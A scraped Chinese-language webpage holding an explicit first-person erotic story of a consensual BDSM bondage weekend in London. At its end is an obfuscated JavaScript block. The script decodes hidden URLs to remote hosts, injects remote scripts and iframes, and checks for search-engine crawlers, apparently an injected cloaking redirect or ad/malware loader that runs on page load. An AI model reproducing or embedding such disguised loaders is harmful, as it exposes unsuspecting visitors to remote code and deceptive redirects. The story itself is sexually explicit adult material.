分享好友
    复制链接
      我在那所位于"天堂"的"地牢"里的全日制束缚学校中的强烈的兴趣终于引起了注意,然后在那一天的晚些时候,教师、一个我稍候知道叫做"捆绑者"的家伙,令我感到有些吃惊。当他地给我一张写着他的名字,捆绑专家的头衔的纸片,并且建议我联系他以便安排一个特殊的见面时,我顿时兴奋起来。我不太明白他为什么会来找我,不过当我问他到底能做些什么时,他真的很愉快。我想我从未考虑过有人会在把我捆绑起来时会象我被绳索加身时一样兴奋。我所有过的经验都是单独性的,同伴们总是为了我的兴趣而那样去做。而他不但有热情,而且一个有魅力的、诚恳的友好的家伙。我又会损失什么呢?接下来的两天里,我们又聊了几次。他传给我一篇"捆绑和缄口"杂志上的文章,讲述了一个美国学生第一次拜访捆绑大师的经验。那是一个迷人的故事,这次轮到我来体验了。所以在最后一次电话交谈中,我们拟定了一套以这个故事为基础的指令。我将在星期四晚上搭火车去伦敦,并在晚上十点左右到达他的住处。我会在特定的位置找到一把钥匙,然后到空旷的一层去,在那里有进一步的命令。他会在半小时内到达。在旅途中,我只能穿着橡皮衣裤,并戴上一条铁项圈。我不能穿任何衣服除了一件旅行装(我想应该不是指我经常穿的DM靴)。我唯一能带的就是一张单程车票,和一点钱,其他的东西要放在一个小袋子里面交给他保管到星期六我离开时为止。我必须同意在这期间内,我完全是属于他的,他可以随心所欲的采用各种各样的捆绑方法将我办起来,并可以持续任意长的时间。最后,从现在起到星期四晚上,我不能有任何性行为。整整三天!当我的身体被燃烧并兴奋到极点时我该怎样应付呢?离开家的时候的确有点怪异的感觉,身上只穿着橡皮衣裤,一件很薄的旅行装,脖子上锁着一条金属项圈。别人看见了会怎么想,警察会注意吗,我该怎样解释呢?而且,当我移动的时候,橡皮的摩擦使我觉得非常辛苦。我赶上了六点半的火车。刚坐了一会儿,我发现身上的橡皮一发出一种很难闻的味道!我越来越热,刺鼻的气味也越来越浓。没多久,我就确信车厢里所有的人都闻到了我这边发出的怪味,而我只穿了一件旅行装来遮住项圈和DM靴子。当坐在我对面的一个女士挪到远离我的位置时,我感到很无助。我意识到我动的越多,气味就越浓。所以接下来的两个半钟头我坐在那里一动都不敢动,全身燥热,猜测当晚还会发生什么。终于到伦敦了,全身燥热难耐,双脚战栗。二十分钟后,我找到了地方。两腿发抖,心跳加速,我找到了钥匙,进了那间房。我马上看到了放在地板上的指令,并遵照指示把门反锁,进了浴室。第一件事是签一份表格,同意到星期六早上为止,我会服从任意形式的捆绑,和被绑住任意长的时间。当我必须被解开或有意外发生(例如哮喘病)时,我只能说"Please Stop"或以"Mmmh Mmmh Mmmh"来代替(当嘴被堵住不能说话时,这是国际通用语言),最后,我可以在星期五早上11点钟左右给我的朋友打个电话,即使我被绑的结结实实(安全问题我们已经在早些时候讨论过)。读完指令后,我签上了同意,然后接着看指示。脱掉旅行装后,我在屁眼里塞进一个肛门塞(第一份指令让我带来的),然后来到了游戏室。一进入游戏室,全身都因为兴奋而颤抖。房间没有窗户,光线阴暗,几乎没有什么家具。远处的那一面有一张双人床,床头的墙上挂满了小的金属锁。房间内最显眼的和我最感兴趣的是那个笼子。两面墙上环绕着镜子,笼子占了房子的一半空间,是一个大的立方体。它由一些脚手架和间距大约为18英寸的横杆组成,在略低于天花板的位置,有一些相似的杠子跨过横杆将它们连起来。笼子的角和其它的一些点上连着黑色的厚边皮带,挂在那里,等着我去用。在笼子一边靠近地板的地方,巧妙的放着一份说明。我走进笼子,建起说明,上面写着在作他任何事以前,我要彻底的读一遍。以便精确的执行上面所写的每一条指令。首先,我将耳朵紧紧的塞住,耳塞慢慢的膨胀,外界的声音渐渐的消失,我只能听见我强烈的心跳。我靠在笼子的杆子上,双脚放进橡皮脚镣里,双脚分得很开。我把脚镣用力扣在脚踝上,再用类似的皮带将双腿膝部上下绑在横杆上,这样我的脚就完全被固定了。然后我用皮带将胸部紧缚,防止上半身的移动。指令里还让我戴上乳头夹,拉开皮裤的拉链,自慰一分钟,让阴茎完全硬起来。这完全没有必要,光是这种幻想和兴奋已经使我达到高潮的边缘。接着我用皮带把上臂绑紧,大约是肩的高度,然后拿到皮面具,戴上并在脑后扣紧。最后,我摸索到了手铐,把手放进去并铐在手腕上。这样,我别无选择了,既看不见又听不见,无法逃走,知道他到来。这要花多久,如果他不放我怎么办?穿着橡皮衣已经超过六个小时了,热量在不断的增加。每当我想动的时候,湿热的橡皮都粘住我的皮肤。我不知道独自呆了多久。黑暗的无助的,事实上什么也听不见,我失去了时间概念。大约半小时以后,忽然有人抚摸我的阴茎,我不顾一切的叫。但他显然是叫我不要那样去做,否则至少还会被绑在这里半小时。他要我说"Stop"每当我快射精时。他开始把我绑的更紧更严格。手铐被打开了,他给我戴上了拳击手套,然后紧缚在头上的横梁上。腰上加了一条皮带。他消失了几分钟,然后将一种柔滑的液体涂在我的屁股和肛门塞上,他用一条细绳绑住我的阴茎和睾丸向后拉并压住肛门塞,然后将绳的末端系在笼子上系紧。我非常的想射精,而且看起来每隔几秒就会大喊大叫,每当我喊叫时,他会离开我一会儿,然后再接着逗我。用他满是冰凉的润滑剂的手按摩我的阴茎,并玩弄屁眼里的肛门塞。我感觉到橡皮衣里的热量,汗水沿大腿向下流,全身发抖。他让我移动,我尽力的去移动,然而他就不停的将皮带收紧,知道我被固定在笼子上,不能移动一块肌肉。最后,当我再次大叫停止时,他用一条粗绳绑住我的嘴并在笼子上绕了好几圈,知道我的头部也不能移动为止。我实在是忍不住了,在他继续爱抚我的阴茎、拧我的乳头拉紧皮带的同时,我从被绑住的嘴里大叫我要射精了。我全身战栗,每块肌肉都在用力挣扎,达到了一次前所未有的,永远难忘的高潮。当我放松下来时,我开始考虑是否要真的被绑在这里。几秒钟以前我还毫不担心这个问题,不过,现在我真的需要放松了。我的右腕完全麻木了,身上的橡皮衣又湿又粘。幸运的是,他开始替我松绑了。他移开我的眼罩,这样,我今晚第一次看到了他。尽管他是一个严酷的主人而且我愿意为他作任何事,他看上去还是很友好。他有一双明亮的眼睛,脸上带着有点顽皮的笑容。他放开我让我去了浴室。橡皮衣已经非常湿了,我不得不把它们脱掉,汗水马上倾泻而出。我很快的洗了个澡,他给我戴上手铐,然后给我一杯饮品和一些"捆绑和缄口"杂志看。他离开了一会儿,拿来了一副小皮袋,那种在"天堂"的"地牢"中让我非常兴奋的那种。我把双手反背在背后并捏住拳头,他把我的拳头套住并在手腕处系好,然后用绳子把我的手牢牢地捆住。使我甚至不能张开我的手。他带我回到游戏室,让我跪在笼子的中间。给我戴上头罩,在脑后绑紧。我的头被皮革紧紧的包住,只剩下眼部和鼻子处的开孔让我可以看和呼吸。在他准备更多的皮带时,他让我为他吸了一阵。我的双脚被向上折叠,足踝和大腿被皮带固定在一起,使我保持跪姿。他将皮带穿过我的膝部并系在笼子的两边,让我的双腿分开。他开始再一次用假阳具挑逗我,同时用润滑油按摩我的阴茎。我很快达到了高潮不过我很清楚我必须得忍一阵。这相当困难,以至于我不停的大声叫着让他停下来,我已经处于崩溃的边缘。接着他用一根细绳仔细的捆绑我的阴茎和睾丸。将另一根粗一点的对折,一头绑在我的手腕上,一头从我的屁股底下穿过来,再在阴茎两边分开向上,越过我的肩膀,在我的身后将上臂紧紧的绑在一起。使我感到更无助的是,他将一个头罩套在我头上。当他拉紧每一根皮带扣时,我觉得头被压扁,头罩和脸颊紧贴在一起。最后,他从天花板上拉下一条皮带穿过头罩的顶部拉直,强迫我直挺挺地跪着,充分显露出人体的弹性。我现在被完全固定了。不用说,他不停的吻我,爱抚我,拧我的乳头,使我持续在高潮的边缘,而又不允许我体验到射精的快感。我不知道这种状态持续了多久,大概有一个多小时吧。最后我再也忍不住了,我们两个同时射精了,由于肾上腺激素的刺激,我的每块肌肉都紧张的象被撕裂一样,这就是性高潮的力量。这一次我没有被马上松绑,不过我并不在乎。我感到非常的放松,而且充分的回味着那种神奇的而真实的经验,而这正是我梦寐以求的,这才是星期四晚上!直到星期六我才会被释放!其他还会发生什么呢!过了一会儿,他解开了面具,我的头又能移动了,不过仅此而已!我能够从这些束缚中摆脱吗?虽然我有着丰富的逃脱经验,但那一般都是在我自行捆绑的情况下,而不是被别人绑起来。我注意到虽然我的双肘被静静的反绑在背后,绕过我的胸前在我的左乳头附近打结。问题就是,我能碰到它们吗?表面上看来是不可能的,我可以用舌头舔到不过却没法打开绳结。我慢慢的用身体的蠕动和伸展,最后将绳结要在嘴里并用牙齿打开了它。这下我的双肘获得了充分的自由并使我能够解开那些白绳子和双手的束缚(尽管双手被包在小皮袋内)。更多的努力使我用左脚趾将绑住右脚踝和大腿的皮带稍稍弄下了一点,然后用牙齿解开。接下来是绑住左脚脚踝和大腿的皮带,我慢慢的爬出了分开我两膝的绳子,将绑在背后的双手从脚下移到身前来,解开了双手的皮套。我终于完全的自由了,不过时间不长。此时已经很晚了,说不定已经凌晨了(我的手表和衣服在一块),我的确需要睡觉了。不过却不是我习惯的睡觉,蜷缩在床上,可以自由的翻身!洗澡之后又戴上了面具。这次是在嘴和鼻子处又大洞的那种,以保证我呼吸畅顺。而且只有平躺着才会体验到那种紧绷绷的感觉,面具的项圈尽管也不是很紧,但却非常坚固。然后我听到铁链碰撞声。没错。链子分别绕过了每只手腕,拉紧用挂锁锁住,末端锁在项圈上,留除了十英寸的活动空间,使我可以活动双手,不过却不能碰到我再次坚挺的阳具以减轻痛苦。然后他让我躺在床上对着墙的那一边。他把我的脚踝绑在床脚上,有一点活动的余地,不过整个身体是直的。接着他用装在床上的一条皮带穿过项圈上的一个环。尽管我可以有一些活动但由于身体是直直的,所以没有办法碰到那系束缚物,也不能蜷缩。现在我非常希望被释放,唯一的想法就是如何度过接下来的八小时,觉得非常的无助。他又在玩弄我,让我感到非常的兴奋,却只能躺在那里,接受高度的刺激,什么也不能做。终于我疲惫的身心得到了解脱,井入了非常满足的梦乡。也不知何时,他给我松绑,让我沉睡过去。清晨我非常吃惊。由于房间很黑,而且前一天晚上,我完全没有时间概念,我始终有一种在半夜的感觉。当我感到双手和肘部被反剪到背后并被绳子绑住时,我马上就醒过来了。多么奇妙的叫醒方法。接着试用细绳捆扎阳具和睾丸,让我立即感到玩耍的开始。然后屁眼里被插入假阳具,大量的润滑剂增加了快感。我已经要射精了,不过这只是开始!他用绳子仔细的捆绑我的脚踝、膝盖和大腿。以给非常紧而且厚的皮面具,这次的呼吸孔比较小。然后又是一条绳子将脚踝和手腕捆在一起,他用力的拉这条绳,使我的背部感到疼痛,这是经典的捆猪法。他再一次让我移动,然后根据我的蠕动巧妙的添加绳索和皮带,直到我每块肌肉都不能移动为止。再一次的,他吻我,玩弄我的乳头,在脚底搔痒,爱抚我的阴茎,用冰凉的润滑剂按摩我的龟头让我时断时续的处在高潮的边缘,让我努力的抵御射精的诱惑,直到他允许为止。我的整个身体都在体验这种使人着迷的感觉,身体的每一个部分都感受到高潮的力量,每一块肌肉都在与全身的束缚斗争。随着能量的释放身体的满足,我躺在床上,捆绑依旧,不过奇怪的是,我一点也不想被解开。显然我信任我的主人,只是被绑住躺在哪儿,全身放松,知道他会带给我神奇的感受。 早饭后,我们又回到了游戏室,不过这一次我的期望很快的提升了,双脚又开始颤抖。主人需要去做一些事,所以我的捆绑时间将会延长,以确保他在事情做完前不会受任何打扰。多久,怎样完成!我猜测着。首先是一个加厚的面具,非常的紧。我的阳具又坚挺如初,捆绑时间延长的想法也增强了我的感觉。我站在笼子中间,被告知抬起右脚。当我把脚放下时,我知道我被装入了一个睡袋,接着是左脚,然后把双臂放入睡袋中紧身衣的狭窄的袖中,主人把拉链拉好,留下一个小洞让我的阴茎坚挺的露在外面,真如主人所期望的那样。面具和睡袋被连在一起,杜绝了最后一丝光线,使我完全的陷入了黑暗。他用皮带连在睡袋的肩部,将我举起,使我刚好脚尖着地。我完全陷入了黑暗,不可能逃出,不过可以有一点活动的余地,完全迷失了方向。我有一点担心,间断的做一点活动。长时间的保持这种姿态使我心跳加速。我非常兴奋。我能长时间忍受这种姿态吗?万一有突发式健而我必须被释放呢?如果他听不见我的叫声呢?不过没多久,他就回来了。我的阴茎已经僵硬了。在经历了那些我已经熟悉的感觉之后,我的脚被举得更高,使我完全悬空。它继续扎进睡袋,让我感到进入了一个越来越小的茧中。然后我再次被挂在那里独自体验那种完全的绝望感,全身在皮革中,什么也看不见。当他再次回来时,我完全迷失了时间和方向。我觉得舒适而且温暖,那种奇妙的平静和高度的兴奋!他加上了一些皮带,将另外的一些缩短,我的身体一度由垂直变成了水平在我的身体水平之后,他开始进一步的收紧睡袋。我感到我的身体被压得越来越小,从脚趾到脖子。当我感到睡袋不可能收的更紧而且我无法移动身体的任何一块肌肉时时,他又用一些宽皮带将我缠得更紧。上臂、手肘、手腕、手、大腿、膝盖、小腿、脚踝,每一处都被缠紧,让我象一跟木头一样,连我的臂骨都有那种压迫感,就象嵌入了我的身体一样。每次他做出调整的时候,他也没有忘记挑逗我的阴茎,用冰凉的润滑剂按摩,使我持续的兴奋,而当我想要射精时,他就停下来并把我的阴茎弄干净,我只能待在哪儿,被绑了几个小时,这的确是我想要的感觉吗?这真的是度日如年,完全的兴奋和随时像要高潮,然后又被遗弃在一边,渴望着自由不过却什么也做不了!我象是置身于混凝土中,全身僵直。我被那样的处置,阴茎好像要爆炸,身体好像要崩溃了,直到我再也忍不住了。在他把润滑剂挤在我的阳具上时,我不停的喷射,释放着象胶囊一样的身体里的每一份能量。我不能确定这之后我又在哪儿呆了多久。从某种意义上说,我愿意这种状态持续一个世纪,是那么的舒服,被密封在我的皮质的茧中,黑暗、感官的丧失让我的心灵可以飞跃无限,这样的状态过了很久。我的双手麻木了,手腕由于被绑得太紧而疼得要命,所以当终于松绑时,我早就准备好了。感官的丧失使我完全不知道时间,在我被松绑后发现已经下午两点了,我非常惊讶。全身由于十六个小时不停的被捆绑而酸痛无比,而且现在才过了我的地狱生活的一半而已!然而,在梳洗恢复一番后,我被允许穿上衣服并参观了当晚为我准备的各种装备。大约下午五点钟我回到了平台,我已经非常敏感了,我迅速的兴奋起来仅仅是因为读了几本与绑缚有关的杂志而已。看见我已经准备好了,他马上给我戴上绑缚用的手套带着我回到了游戏室然我站在笼子的中间。首先,他给我穿上一种悬吊用的皮具。这是一种迷人的皮具。厚厚的皮带紧紧的绑在大腿的根部,更多的皮带绑在腰上和胸前,巨大的D型环扣在肩上,和头顶上的笼子上连着的皮带相连。皮带很紧,我只能用脚尖着地,不过整套皮具支撑了我全身的重量。接着,再一次的用细绳缠绕我的阴茎和睾丸,使它快速的坚挺起来(不是我想要的)!我一直在想象腹部皮带扣和它上面连着的皮带的用途,当他把细绳紧紧的绑在上面时,答案有了。下一步是头部的皮具,厚皮带牢固的绑在了我的头上,仅仅留出了眼睛的部分让我可以从镜子中看到我自己的模样。他把皮手铐和脚铐分别铐在手和脚踝上,连接上可调整的皮带,将手铐上的皮带分开绑在笼子前面的两脚而脚铐上的皮带分开绑在笼子的后面。让我的双脚离地而全身悬空。我现在被悬挂在半空中,处于一种自由落体的状况。在他的一系列挑逗之下,我已经接近高潮了,不过这期间他还是不停的中断,让我持续的兴奋。他在我的双肘和双膝加上了几个皮铐,并牢牢地固定在笼子上,使我的双手和双脚分得更开。又在头部的皮具上系上皮带,让我处在一种他可以随心所欲,为所欲为的状态。他取出了一个钳口塞,这个塞子太大了,让我吃惊的眼睛都睁大了。我从来都没见过这么大的口塞,他费力的用它塞进了我的嘴。当他完成时我感到嘴里全是橡皮。在对我的捆绑完成后,他在假阳具上涂上润滑剂,然后插进我的身体。由于对我带来的假阳具不满意,他将它拔出来换了一个大的多的。他玩弄着假阳具,用一种很轻柔的推进方式让我被绑住的身体不自觉的向后迎合,在操我的同时,我可以感到他的阴茎在轻轻的顶我。我从镜子中看到了这一切,我的兴奋持续了恐怕有一个多小时。我真不敢相信我可以保持这种姿态这么久,兴奋的强度这么大,肢体的每一处好像都在爆炸。当我终于射精时,我的精力像山洪一样爆发,这是一种我永生难忘的经验。有人说:在你快乐的时候,时间会悄悄的溜走。当晚吃饭时已经是晚上十一点了,我非常渴望睡觉,全身累得救象是在在体育馆里作了三天运动一样,肌肉酸痛,脑子里全是这两天以来的经历。由于我非常怀念和非常希望体验那种感官被完全剥夺的经验,我要求睡在睡袋里,然后被悬挂在笼中。我知道这将是一个挑战,看看我到底能在这种感官丧失的情况下待多长时间,而且我也非常想去体验一下这种感觉,看看我的心会飞向何处。所以,耳塞、眼罩,我被打包在睡袋中,由各种各样的皮带将我保持在一种自然的睡眠状态,全身处于皮质的茧中。这次,虽然全身都受限制,但绑的不是很紧,那种舒适的感觉简直是难以置信的。我无法看到、听到和感觉到。除了皮革的温暖的气息之外,所有的感官都被剥夺了。没过多久我就有点担心了。首先,我开始尝试着移动。开始的时候只是很轻微的,不过这下来的动作就比较大了,360度的旋转和不确定的在笼子里上下蠕动,可能是脚,然后是头,但是我无法确定我的位置。突然在黑暗中我看到了一些图片,鲜明亮丽的色彩,脸,我待过的位置,我所作过的事情。这就象我在做梦一样,不过我知道我是醒着的。我的思想在梦中,不过却可以受到控制,我可以操纵我的梦境,想去哪里就去哪里,想做什么就做什么,想感到什么就可以感到什么。时间已经停顿了,我的心已经完全自由了。我在睡袋里待了大约四个小时,在半梦半醒中漂流,这是我已经准备好了释放而且非常高兴的钻进了舒服的被窝,享受着深沉的、持久的睡眠。这就是我特殊的全身的完全的捆绑经验。这次经验改变了我的生活而且使我永生难忘。在我造访天空中的地狱时我完全没有想到会有这种寻求了多年也没有发现的经历。我想我所寻找的在捆绑与束缚杂志中所描述的缚仔终于在这次拜访"特殊的捆绑"时梦想成真了。另外,在和主人共同度过的几天里,我从没感到过恐惧和害怕,没有被痛苦折磨,这是我很清楚的区分了捆绑与虐待的区别,而且尽管我和他在这几天内就象是一个团体一样,但是我们可以没有对方而单独存在。为了能尽可能的描述我做一个缚仔的经验,我决定在我回家的路上将这次的经验记载下来。我写完的时候,有一个很可爱的小孩问他妈妈:"为什么人们要到伦敦来?"。她回答说:"人们到伦敦来是为了各种不同的理由。"听到这里,我忍不住笑了起来。
      
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD 